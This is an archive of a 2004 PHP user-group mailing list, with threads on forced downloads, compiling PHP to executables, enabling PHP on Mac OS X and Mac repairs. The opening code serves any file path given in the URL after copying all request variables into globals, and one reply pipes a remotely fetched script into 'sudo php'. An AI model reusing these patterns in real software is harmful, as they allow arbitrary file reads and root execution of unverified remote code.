Right now what it does is that it does force a download (in Mozilla) but 
your window is blank.  The user has no ability to navigate any further 
and is forced to close and re-open their browser and start all over 
again, definitely not an option.

How can I use readfile() to force a download of a file, yet at the same 
time display a screen indicating the rest of the application?

The idea I thought up (that obviously fails) was this:
[PHP]
  foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = 
$val;        // RETRIEVE ALL PASSED VARS
   
    if ($forceDownload) {                                                
    // HANDLE FORCED DOWNLOAD
     $dlGen =& new DownloadGenerator($fullFilePath);
     $dlGen->generateForceDownloadHeaders();
     echo "<a href=\"index.php" . $dlGen->generateQueryString() . 
"\">Continue</a>\n";
     $dlGen = null;
    }
[/PHP]

This resulting from 
[Quote]index.php?forceDownload=1&fullFilePath=/tmp/images/blah.jpg[/Quote]

Thanx
Phil

-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From tgales at tgaconnect.com  Thu May 13 08:56:26 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Thu, 13 May 2004 08:56:26 -0400
Subject: [nycphp-talk] NewsForge article on International PHP Conference 
Message-ID: <002401c438e9$b418b4f0$e98d3818@oberon1>


 Filip de Waard gives his take on attending 
the  International PHP Conference at:

http://programming.newsforge.com/programming/04/05/11/1352240.shtml?tid=10
5&tid=55

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com



From csnyder at chxo.com  Thu May 13 10:02:58 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Thu, 13 May 2004 10:02:58 -0400
Subject: [nycphp-talk] NewsForge article on International PHP Conference
In-Reply-To: <002401c438e9$b418b4f0$e98d3818@oberon1>
References: <002401c438e9$b418b4f0$e98d3818@oberon1>
Message-ID: <40A38012.2090408@chxo.com>

Last night, Hendry came up with three key ingredients to a successful 
conference that were woefully absent in Amsterdam:

1) Endless coffee
2) Good wireless (with enterprise bandwidth)
3) Abundant power outlets

There should also be a mechanism (CMS? secretary?) for getting 
presentation slides and additional material onto the conference website 
in real time.

Passively listening to speakers can be a chore (especially without 
caffeine!) -- but if you can code examples on your laptop, do research, 
run demos, and communicate with your peers at the same time, you become 
an active participant.


From carlos at sprout.net  Thu May 13 14:38:21 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Thu, 13 May 2004 14:38:21 -0400
Subject: [nycphp-talk] reporting hosting fraud (off-topic)
Message-ID: <49A9DEB886049242BA28C484A36C03F15A744F@email.sprout.net>

I wish you luck! FBI requires that the victim has at least $5,000 on
losses before they can make it a Federal case. I know that if you get
the right person this can be put aside. But from experience, it will not
be easy.

You may want to talk to the Trade Commission and Commerce Commission in
Washington.

Also try to find out where this person is and contact the local PD for
information about the person. 

But most of all, you need to find VICTIMS of this person to allow the
FBI to build a case.

Carlos 


 

-----Original Message-----
From: Hans Zaunere [mailto:hans not junk at nyphp.com] 
Sent: Wednesday, May 12, 2004 12:01 PM
To: NYPHP Talk
Subject: RE: [nycphp-talk] reporting hosting fraud (off-topic)


> http://www.moztips.com/index.php?id=229
> 
> To which authority (FBI, BBB) should I report this case of suspected 
> fraud? Should I also report it also to the press?

I'd say probably FBI, but don't arrest me if I'm wrong! :)

H

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From carlos at sprout.net  Thu May 13 14:49:58 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Thu, 13 May 2004 14:49:58 -0400
Subject: [nycphp-talk] Job posting board (off-topic)
Message-ID: <49A9DEB886049242BA28C484A36C03F15A7451@email.sprout.net>

Hi guys, any suggestions on where to place a PHP programmers job
posting. I did on the jobs list here with almost no result, which is
good it means you all are working.

Any suggestions?

Thanks,
Carlos


From nyphp at websapp.com  Thu May 13 14:53:41 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Thu, 13 May 2004 14:53:41 -0400
Subject: [nycphp-talk] Job posting board (off-topic)
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7451@email.sprout.net>
Message-ID: <200405131853.i4DIriXu000241@ns5.oddcast.com>

Hey Carlos,

Give http://newyork.craigslist.org/ a shot. You'll get a ton of resumes !

-Daniel
 

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Carlos G. Chiossone
> Sent: Thursday, May 13, 2004 14:50
> To: NYPHP Talk
> Subject: [nycphp-talk] Job posting board (off-topic)
> 
> Hi guys, any suggestions on where to place a PHP programmers 
> job posting. I did on the jobs list here with almost no 
> result, which is good it means you all are working.
> 
> Any suggestions?
> 
> Thanks,
> Carlos
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 




From carlos at sprout.net  Thu May 13 14:54:22 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Thu, 13 May 2004 14:54:22 -0400
Subject: [nycphp-talk] PHP as EXE
Message-ID: <49A9DEB886049242BA28C484A36C03F15A7452@email.sprout.net>

Hi all, any of you have any good experience in creating and running PHP
programs as a standalone applications? I think it can be done with the
Zend Suite, but any other applications out there?

Thanks,
Carlos


From carlos at sprout.net  Thu May 13 14:54:48 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Thu, 13 May 2004 14:54:48 -0400
Subject: [nycphp-talk] Job posting board (off-topic)
Message-ID: <49A9DEB886049242BA28C484A36C03F15A7453@email.sprout.net>

Thanks Daniel.

c 

-----Original Message-----
From: Daniel Kushner [mailto:nyphp at websapp.com] 
Sent: Thursday, May 13, 2004 2:54 PM
To: 'NYPHP Talk'
Subject: RE: [nycphp-talk] Job posting board (off-topic)

Hey Carlos,

Give http://newyork.craigslist.org/ a shot. You'll get a ton of resumes
!

-Daniel
 

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Carlos G. Chiossone
> Sent: Thursday, May 13, 2004 14:50
> To: NYPHP Talk
> Subject: [nycphp-talk] Job posting board (off-topic)
> 
> Hi guys, any suggestions on where to place a PHP programmers job 
> posting. I did on the jobs list here with almost no result, which is 
> good it means you all are working.
> 
> Any suggestions?
> 
> Thanks,
> Carlos
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 


_______________________________________________
talk mailing list
talk at lists.nyphp.org
http://lists.nyphp.org/mailman/listinfo/talk



From tgales at tgaconnect.com  Thu May 13 14:57:03 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Thu, 13 May 2004 14:57:03 -0400
Subject: [nycphp-talk] Job posting board (off-topic)
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7451@email.sprout.net>
Message-ID: <004201c4391c$148a1e00$e98d3818@oberon1>

> ....where to place a PHP programmers 
> job posting. I did on the jobs list here with almost no 
> result, which is good it means you all are working.
> 
> Any suggestions?

You could try  http://listbid.com/ 


T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com




From agfische at email.smith.edu  Thu May 13 15:07:32 2004
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 13 May 2004 15:07:32 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
Message-ID: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>

Hi all,

I would like to set up php locally on my laptop.  Currently on 
PHundamentals I only see mention of local setups for Windows or Linux.  
I googled the archives and found a thread where it appears that the 
setup offered on entropy is a good way to go:
http://www.entropy.ch/software/macosx/

I'd like to get this going on my powerbook.  Would folks recommend this 
as the best way to go for a OS X powerbook setup or are there 
alternative methods that may be more desirable?

Thanks,

-Aaron



From mitchy at spacemonkeylabs.com  Thu May 13 15:17:28 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Thu, 13 May 2004 15:17:28 -0400
Subject: [nycphp-talk] PHP as EXE
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7452@email.sprout.net>
References: <49A9DEB886049242BA28C484A36C03F15A7452@email.sprout.net>
Message-ID: <40A3C9C8.3080208@spacemonkeylabs.com>

Carlos G. Chiossone wrote:

> Hi all, any of you have any good experience in creating and running PHP
> programs as a standalone applications? I think it can be done with the
> Zend Suite, but any other applications out there?

I've been working with classes that are executed both within webpages 
and as cron jobs (cli).  For this, I am pretty happy with PHP as a 
scripting language, especially when coupled with a database that 
supports stored procedures and triggers (like PostgreSQL).

As for pure application programming though, I try to do most everything 
in python.  I stay away from GUI applications, as that is not really my 
forte, so no experience working with phpGTK.

(looks up from desk)

So what is everyone else around here doing in this regard?

-- Mitch



From mitchy at spacemonkeylabs.com  Thu May 13 15:19:03 2004
From: mitchy at spacemonkeylabs.com (Mitch Pirtle)
Date: Thu, 13 May 2004 15:19:03 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
Message-ID: <40A3CA27.5040208@spacemonkeylabs.com>

Aaron Fischer wrote:

> Hi all,
> 
> I would like to set up php locally on my laptop.  Currently on 
> PHundamentals I only see mention of local setups for Windows or Linux.  
> I googled the archives and found a thread where it appears that the 
> setup offered on entropy is a good way to go:
> http://www.entropy.ch/software/macosx/

Time to get FINKed!

http://fink.sf.net/

They have packages for PHP and many other things that you may find useful.

HTH,

-- Mitch



From csnyder at chxo.com  Thu May 13 15:19:36 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Thu, 13 May 2004 15:19:36 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
Message-ID: <40A3CA48.6000803@chxo.com>

You know that PHP is installed and ready to go by default on OSX, right?
Turn on the webserver in the sharing control panel and you're set.

It's installed as a shared object, too, so you can compile a newer / 
custom version if necessary. Just pick up the configure line from 
phpinfo(); and use that to configure a custom version from source.



From weyrick at roadsend.com  Thu May 13 15:21:37 2004
From: weyrick at roadsend.com (Shannon Weyrick)
Date: Thu, 13 May 2004 15:21:37 -0400
Subject: [nycphp-talk] PHP as EXE
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7452@email.sprout.net>
References: <49A9DEB886049242BA28C484A36C03F15A7452@email.sprout.net>
Message-ID: <40A3CAC1.70600@roadsend.com>

Carlos G. Chiossone wrote:
> Hi all, any of you have any good experience in creating and running PHP
> programs as a standalone applications? I think it can be done with the
> Zend Suite, but any other applications out there?
> 
> Thanks,
> Carlos
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 

Roadsend Compiler for PHP
www.roadsend.com

We are currently in public beta, everyone is encouraged to sign up and 
give it a go. We will be releasing the next beta very shortly, which 
will include performance improvements as well as bug fixes and further 
implementation of the standard library and extensions.

Shannon


From cderr at simons-rock.edu  Thu May 13 15:22:15 2004
From: cderr at simons-rock.edu (charlie derr)
Date: Thu, 13 May 2004 15:22:15 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <40A3CA48.6000803@chxo.com>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
	<40A3CA48.6000803@chxo.com>
Message-ID: <40A3CAE7.5060306@simons-rock.edu>

Chris Snyder wrote:

> You know that PHP is installed and ready to go by default on OSX, right?
> Turn on the webserver in the sharing control panel and you're set.


Groovadelic.  I'm not much of a mac person, but I never knew that -- I 
was all set to say what Mitch said (fink) when I read your response and 
tried it.


To be completely pedantic, it wasn't "quite" ready to go.  On my panther 
(osX 10.3) machine, I had to go into /etc/httpd.conf and uncomment these 
two lines:

#LoadModule php4_module        libexec/httpd/libphp4.so
#AddModule mod_php4.c


After restarting the Personal Web Sharing service, it is indeed all set.

	thanks for this,
		~c

> 
> It's installed as a shared object, too, so you can compile a newer / 
> custom version if necessary. Just pick up the configure line from 
> phpinfo(); and use that to configure a custom version from source.
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk



From sklar at sklar.com  Thu May 13 15:48:13 2004
From: sklar at sklar.com (David Sklar)
Date: Thu, 13 May 2004 15:48:13 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <40A3CAE7.5060306@simons-rock.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>	<40A3CA48.6000803@chxo.com>
	<40A3CAE7.5060306@simons-rock.edu>
Message-ID: <40A3D0FD.1060609@sklar.com>

Note, however, that the default PEAR installation that comes with 
Panther is broken. From a terminal prompt, do:

curl http://go-pear.org | sudo php

to install PEAR properly.

David

charlie derr wrote:
> Chris Snyder wrote:
> 
>> You know that PHP is installed and ready to go by default on OSX, right?
>> Turn on the webserver in the sharing control panel and you're set.
> 
> 
> 
> Groovadelic.  I'm not much of a mac person, but I never knew that -- I 
> was all set to say what Mitch said (fink) when I read your response and 
> tried it.
> 
> 
> To be completely pedantic, it wasn't "quite" ready to go.  On my panther 
> (osX 10.3) machine, I had to go into /etc/httpd.conf and uncomment these 
> two lines:
> 
> #LoadModule php4_module        libexec/httpd/libphp4.so
> #AddModule mod_php4.c
> 
> 
> After restarting the Personal Web Sharing service, it is indeed all set.
> 
>     thanks for this,
>         ~c
> 
>>
>> It's installed as a shared object, too, so you can compile a newer / 
>> custom version if necessary. Just pick up the configure line from 
>> phpinfo(); and use that to configure a custom version from source.
>>
>> _______________________________________________
>> talk mailing list
>> talk at lists.nyphp.org
>> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 



From jeffknight at mac.com  Thu May 13 15:54:50 2004
From: jeffknight at mac.com (putamare)
Date: Thu, 13 May 2004 15:54:50 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <40A3CA27.5040208@spacemonkeylabs.com>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
	<40A3CA27.5040208@spacemonkeylabs.com>
Message-ID: <64DF18D4-A517-11D8-8DDC-000393B9FB36@mac.com>

On May 13, 2004, at 3:19 PM, Mitch Pirtle wrote:
> Time to get FINKed!

I prefer DarwinPorts
  http://darwinports.opendarwin.org/
more bsd-like although not as mature and without as many packages as 
fink

jeff.knight not junkmail at nyphp.org



From agfische at email.smith.edu  Thu May 13 16:26:32 2004
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 13 May 2004 16:26:32 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <40A3CAE7.5060306@simons-rock.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
	<40A3CA48.6000803@chxo.com> <40A3CAE7.5060306@simons-rock.edu>
Message-ID: <D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>

I started Personal Web Sharing and successfully received the Apache 
start up page.  However, after running phpinfo(); at it from the 
"Sites" folder, it doesn't appear to be running php by default.  I 
searched my hard drive for "httpd.conf" and came up with no results.

I'm running Panther as well, can you give me a little more detail where 
I can find the httpd.conf file?

Thanks,

-Aaron

On May 13, 2004, at 3:22 PM, charlie derr wrote:

> To be completely pedantic, it wasn't "quite" ready to go.  On my 
> panther (osX 10.3) machine, I had to go into /etc/httpd.conf and 
> uncomment these two lines:
>
> #LoadModule php4_module        libexec/httpd/libphp4.so
> #AddModule mod_php4.c
>
>
> After restarting the Personal Web Sharing service, it is indeed all 
> set.
>
> 	thanks for this,
> 		~c



From Cbielanski at inta.org  Thu May 13 16:33:02 2004
From: Cbielanski at inta.org (Chris Bielanski)
Date: Thu, 13 May 2004 16:33:02 -0400
Subject: [ot] RE: [nycphp-talk] Mac OS X local laptop setup
Message-ID: <C0CDB9F5E81C234FBB42D84E7853125DC1B9B0@intamail1.inta>

What, Panther doesn't have "find"

eek!! ;)

> -----Original Message-----
> From: Aaron Fischer [mailto:agfische at email.smith.edu]
> Sent: Thursday, May 13, 2004 4:27 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] Mac OS X local laptop setup
> 
> 
> I started Personal Web Sharing and successfully received the Apache 
> start up page.  However, after running phpinfo(); at it from the 
> "Sites" folder, it doesn't appear to be running php by default.  I 
> searched my hard drive for "httpd.conf" and came up with no results.
> 
> I'm running Panther as well, can you give me a little more 
> detail where 
> I can find the httpd.conf file?
> 
> Thanks,
> 
> -Aaron
> 
> On May 13, 2004, at 3:22 PM, charlie derr wrote:
> 
> > To be completely pedantic, it wasn't "quite" ready to go.  On my 
> > panther (osX 10.3) machine, I had to go into /etc/httpd.conf and 
> > uncomment these two lines:
> >
> > #LoadModule php4_module        libexec/httpd/libphp4.so
> > #AddModule mod_php4.c
> >
> >
> > After restarting the Personal Web Sharing service, it is indeed all 
> > set.
> >
> > 	thanks for this,
> > 		~c
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 


From agfische at email.smith.edu  Thu May 13 16:30:49 2004
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 13 May 2004 16:30:49 -0400
Subject: [ot] RE: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <C0CDB9F5E81C234FBB42D84E7853125DC1B9B0@intamail1.inta>
References: <C0CDB9F5E81C234FBB42D84E7853125DC1B9B0@intamail1.inta>
Message-ID: <6BAE5E2A-A51C-11D8-8E28-0003930D07F2@email.smith.edu>

Wellll, apparently not a very good one, because I just selected the 
"Macintosh HD" and searched for "httpd.conf" and got nothing back!

On May 13, 2004, at 4:33 PM, Chris Bielanski wrote:

> What, Panther doesn't have "find"
>
> eek!! ;)
>
>> -----Original Message-----
>> From: Aaron Fischer [mailto:agfische at email.smith.edu]
>> Sent: Thursday, May 13, 2004 4:27 PM
>> To: NYPHP Talk
>> Subject: Re: [nycphp-talk] Mac OS X local laptop setup
>>
>>
>> I started Personal Web Sharing and successfully received the Apache
>> start up page.  However, after running phpinfo(); at it from the
>> "Sites" folder, it doesn't appear to be running php by default.  I
>> searched my hard drive for "httpd.conf" and came up with no results.
>>
>> I'm running Panther as well, can you give me a little more
>> detail where
>> I can find the httpd.conf file?
>>
>> Thanks,
>>
>> -Aaron



From csnyder at chxo.com  Thu May 13 16:34:21 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Thu, 13 May 2004 16:34:21 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>	<40A3CA48.6000803@chxo.com>
	<40A3CAE7.5060306@simons-rock.edu>
	<D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>
Message-ID: <40A3DBCD.7030501@chxo.com>

Aaron Fischer wrote:

> I'm running Panther as well, can you give me a little more detail 
> where I can find the httpd.conf file?
>
> On May 13, 2004, at 3:22 PM, charlie derr wrote:
>
>> On my panther (osX 10.3) machine, I had to go into /etc/httpd.conf 
>
Should have been /etc/httpd/httpd.conf



From csnyder at chxo.com  Thu May 13 16:51:28 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Thu, 13 May 2004 16:51:28 -0400
Subject: [ot] RE: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <6BAE5E2A-A51C-11D8-8E28-0003930D07F2@email.smith.edu>
References: <C0CDB9F5E81C234FBB42D84E7853125DC1B9B0@intamail1.inta>
	<6BAE5E2A-A51C-11D8-8E28-0003930D07F2@email.smith.edu>
Message-ID: <40A3DFD0.3080406@chxo.com>

Aaron Fischer wrote:

> Wellll, apparently not a very good one, because I just selected the 
> "Macintosh HD" and searched for "httpd.conf" and got nothing back! 


Welcome to command line unix. :-)

Aotearoa:~ csnyder$ which find
/usr/bin/find

You didn't turn up httpd.conf because the FreeBSD filesystem is loosely 
off-limits to Finder, one of the few barriers remaining to the 
unix-ification of the Mac desktop.

BTW, I hear that the NYCBUG list is a good place to discuss the 
ins-and-outs of OSX as a server. There are also some excellent O'Reilly 
texts on the subject.



From Cbielanski at inta.org  Thu May 13 16:56:35 2004
From: Cbielanski at inta.org (Chris Bielanski)
Date: Thu, 13 May 2004 16:56:35 -0400
Subject: [ot] RE: [nycphp-talk] Mac OS X local laptop setup
Message-ID: <C0CDB9F5E81C234FBB42D84E7853125DC1B9B1@intamail1.inta>

Okay *whew* I was afraid something very odd had happened...This is what I
expceted to see:

>Welcome to command line unix. :-)
>
>Aotearoa:~ csnyder$ which find
>/usr/bin/find


From southwell at dneba.com  Thu May 13 19:33:56 2004
From: southwell at dneba.com (Michael Southwell)
Date: Thu, 13 May 2004 19:33:56 -0400
Subject: [nycphp-talk] OT:  NYC area Mac repairs
Message-ID: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>

Sorry for this OT post but you guys are all so smart that....

My son's I-Mac G4 stopped connecting to the Internet.  Tek-Serve says bad 
port, new motherboard, $400.  Does anyone know anybody else who could 
diagnose/fix this and might be a bit less high-end expensive?

Michael Southwell
VP, Education Department
NYPHP
michael.southwell at nyphp.org




From agfische at email.smith.edu  Thu May 13 19:42:59 2004
From: agfische at email.smith.edu (Aaron Fischer)
Date: Thu, 13 May 2004 19:42:59 -0400
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
References: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
Message-ID: <441E6C03-A537-11D8-93EE-000A95AF225A@email.smith.edu>

Sorry if this seems too obvious, but you didn't happen to get AppleCare 
for it, did you?  If so, that's probably covered.

I have never had to bring my Mac in (yet), but the place I would 
probably feel most comfortable would be an Apple store, unless I had 
some good recommendations to use someone else.

-Aaron

On May 13, 2004, at 7:33 PM, Michael Southwell wrote:

> Sorry for this OT post but you guys are all so smart that....
>
> My son's I-Mac G4 stopped connecting to the Internet.  Tek-Serve says 
> bad port, new motherboard, $400.  Does anyone know anybody else who 
> could diagnose/fix this and might be a bit less high-end expensive?
>
> Michael Southwell
> VP, Education Department
> NYPHP
> michael.southwell at nyphp.org



From keith at keithjr.net  Thu May 13 20:09:58 2004
From: keith at keithjr.net (keith at keithjr.net)
Date: Thu, 13 May 2004 17:09:58 -0700 (PDT)
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
References: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
Message-ID: <3158.24.169.80.131.1084493398.squirrel@www.keithjr.net>

I agree with the apple store, and also comp-usa has mac-repairs, but I am
unsure if they are apple-care certified...

> Sorry for this OT post but you guys are all so smart that....
>
> My son's I-Mac G4 stopped connecting to the Internet.  Tek-Serve says bad
> port, new motherboard, $400.  Does anyone know anybody else who could
> diagnose/fix this and might be a bit less high-end expensive?
>
> Michael Southwell
> VP, Education Department
> NYPHP
> michael.southwell at nyphp.org
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>



From leam at reuel.net  Thu May 13 21:16:33 2004
From: leam at reuel.net (leam)
Date: Thu, 13 May 2004 21:16:33 -0400
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <3158.24.169.80.131.1084493398.squirrel@www.keithjr.net>
References: <6.1.0.6.2.20040513193127.01f12878@mail.optonline.net>
	<3158.24.169.80.131.1084493398.squirrel@www.keithjr.net>
Message-ID: <40A41DF1.6020301@reuel.net>

keith at keithjr.net wrote:
> I agree with the apple store, and also comp-usa has mac-repairs, but I am
> unsure if they are apple-care certified...

Avoid CompUSA Apple, they promised us it'd be back in a week and when we 
went there over a week later it'd not even gone out.

There's an apple store in NYC, I think. One in the King of Prussia (PA) 
mall.

I'm in mid-Joisey and this person has been highly recommended: 
http://go2g2.com

ciao!

leam


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> Hi all, any of you have any good experience in creating and=20
> running PHP programs as a standalone applications? I think it=20
> can be done with the Zend Suite, but any other applications out there?

I run PHP CLI on a regular basis.  This is usually by use of cronjobs.
Basically, as a data mining method, PHP CLI scripts pull and process
over 400K rows from Oracle, cooks them into about 100K rows and inserts
into MySQL.  There are about 5 such scripts running on a regular basis
and run perfectly.  Each script typically reaches 200mb in size - on a
system with 256mb physical :)

The other application-style use of PHP I've had great luck with is as a
regular console application.  The PHP CLI script talks to a card reader
through a serial port (using a C extension), uses my own ncurses C
extension to interface with the user, and uploads data to a MySQL
database across the network.  The application has run - without restart
- for over 5 months on a throw-away Pentium-133 running RedHat 7.3.

These scripts, however, still require a compiled PHP binary somewhere on
the system.  The Roadsend Compiler for PHP that Shannon spoke of
eliminates this need by compiling a static binary (correct any details
Shannon).  This - among other features - is some very exciting stuff,
and I hope we can get a presentation on it soon :)

H




From adam at trachtenberg.com  Fri May 14 01:19:55 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Fri, 14 May 2004 01:19:55 -0400 (EDT)
Subject: [nycphp-talk] OT:  NYC area Mac repairs
In-Reply-To: <441E6C03-A537-11D8-93EE-000A95AF225A@email.smith.edu>
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	<441E6C03-A537-11D8-93EE-000A95AF225A@email.smith.edu>
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> > My son's I-Mac G4 stopped connecting to the Internet.  Tek-Serve says
> > bad port, new motherboard, $400.  Does anyone know anybody else who
> > could diagnose/fix this and might be a bit less high-end expensive?

I generally find that Tek-Serve have the reputation for being straight
shooters and are cheaper than the Apple Store. I bet the hardware is
the big cost here anyway.

-adam

-- 
adam at trachtenberg.com
author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From chubbard at next-online.net  Fri May 14 12:35:59 2004
From: chubbard at next-online.net (Chris Hubbard)
Date: Fri, 14 May 2004 09:35:59 -0700
Subject: [nycphp-talk] Mac OS X local laptop setup
In-Reply-To: <D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>
References: <C924AC7A-A510-11D8-8E28-0003930D07F2@email.smith.edu>
	<40A3CA48.6000803@chxo.com> <40A3CAE7.5060306@simons-rock.edu>
	<D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>
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Aaron,
Open up Terminal
type in:
cd /etc/httpd/

then type
ls -la

you should see httpd.conf

if you do, then type:
sudo vi httpd.conf

then search for php by typing /php <enter>

remove the # sign in front of the two lines that contain php.
you can remove a single character by typing x.  x will remove the 
character under the cursor.

when you're done type
:wq

then restart Personal Web Sharing

Chris

On May 13, 2004, at 1:26 PM, Aaron Fischer wrote:

> I started Personal Web Sharing and successfully received the Apache 
> start up page.  However, after running phpinfo(); at it from the 
> "Sites" folder, it doesn't appear to be running php by default.  I 
> searched my hard drive for "httpd.conf" and came up with no results.
>
> I'm running Panther as well, can you give me a little more detail 
> where I can find the httpd.conf file?
>
> Thanks,
>
> -Aaron
>
> On May 13, 2004, at 3:22 PM, charlie derr wrote:
>
>> To be completely pedantic, it wasn't "quite" ready to go.  On my 
>> panther (osX 10.3) machine, I had to go into /etc/httpd.conf and 
>> uncomment these two lines:
>>
>> #LoadModule php4_module        libexec/httpd/libphp4.so
>> #AddModule mod_php4.c
>>
>>
>> After restarting the Personal Web Sharing service, it is indeed all 
>> set.
>>
>> 	thanks for this,
>> 		~c
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>
Chris Hubbard
chubbard at next-online.net
425 563 4153



From weyrick at roadsend.com  Fri May 14 14:25:06 2004
From: weyrick at roadsend.com (Shannon Weyrick)
Date: Fri, 14 May 2004 14:25:06 -0400
Subject: [nycphp-talk] PHP as EXE
In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8701F3B665@ehost011-1.exch011.intermedia.net>
References: <41EE526EC2D3C74286415780D3BA9F8701F3B665@ehost011-1.exch011.intermedia.net>
Message-ID: <40A50F02.7010304@roadsend.com>

Hans Zaunere wrote:

> These scripts, however, still require a compiled PHP binary somewhere on
> the system.  The Roadsend Compiler for PHP that Shannon spoke of
> eliminates this need by compiling a static binary (correct any details
> Shannon).  This - among other features - is some very exciting stuff,
> and I hope we can get a presentation on it soon :)
> 
> H
> 

It can compile to a "stand alone" binary (not requiring an interpreter
or source). The actual executable can be linked either statically or
dynamically to the various runtime libraries.

It can also generate static and shared libraries, which can be used
either with stand alone applications, or as compiled web applications
run directly from apache.

Also included is a complete interpreter for running code 'on the fly',
just as Zend PHP does (from both command line and from the web).

Hopefully once we've released the final product, we'll have time to
schedule a presentation!

Shannon
www.roadsend.com



From agfische at email.smith.edu  Fri May 14 14:42:59 2004
From: agfische at email.smith.edu (Aaron Fischer)
Date: Fri, 14 May 2004 14:42:59 -0400
Subject: [nycphp-talk] Mac OS X local laptop setup
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	<40A3CA48.6000803@chxo.com> <40A3CAE7.5060306@simons-rock.edu>
	<D2ADB7ED-A51B-11D8-8E28-0003930D07F2@email.smith.edu>
	<C7C0227E-A5C4-11D8-82C6-000A95BAE752@next-online.net>
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Thanks Chris.  I was able to get things going nicely last night by 
doing the following:

In Terminal:
"locate httpd.conf"

bbedit /private/etc/httpd/httpd.conf

and then made the necessary changes in bbedit to enable php.

This page was a helpful resource:
http://sanbeiji.com/tech/tutorials/php/

Thank to everyone for their suggestions,

-Aaron

On May 14, 2004, at 12:35 PM, Chris Hubbard wrote:

> Aaron,
> Open up Terminal
> type in:
> cd /etc/httpd/
>
> then type
> ls -la
>
> you should see httpd.conf
>
> if you do, then type:
> sudo vi httpd.conf
>
> then search for php by typing /php <enter>
>
> remove the # sign in front of the two lines that contain php.
> you can remove a single character by typing x.  x will remove the 
> character under the cursor.
>
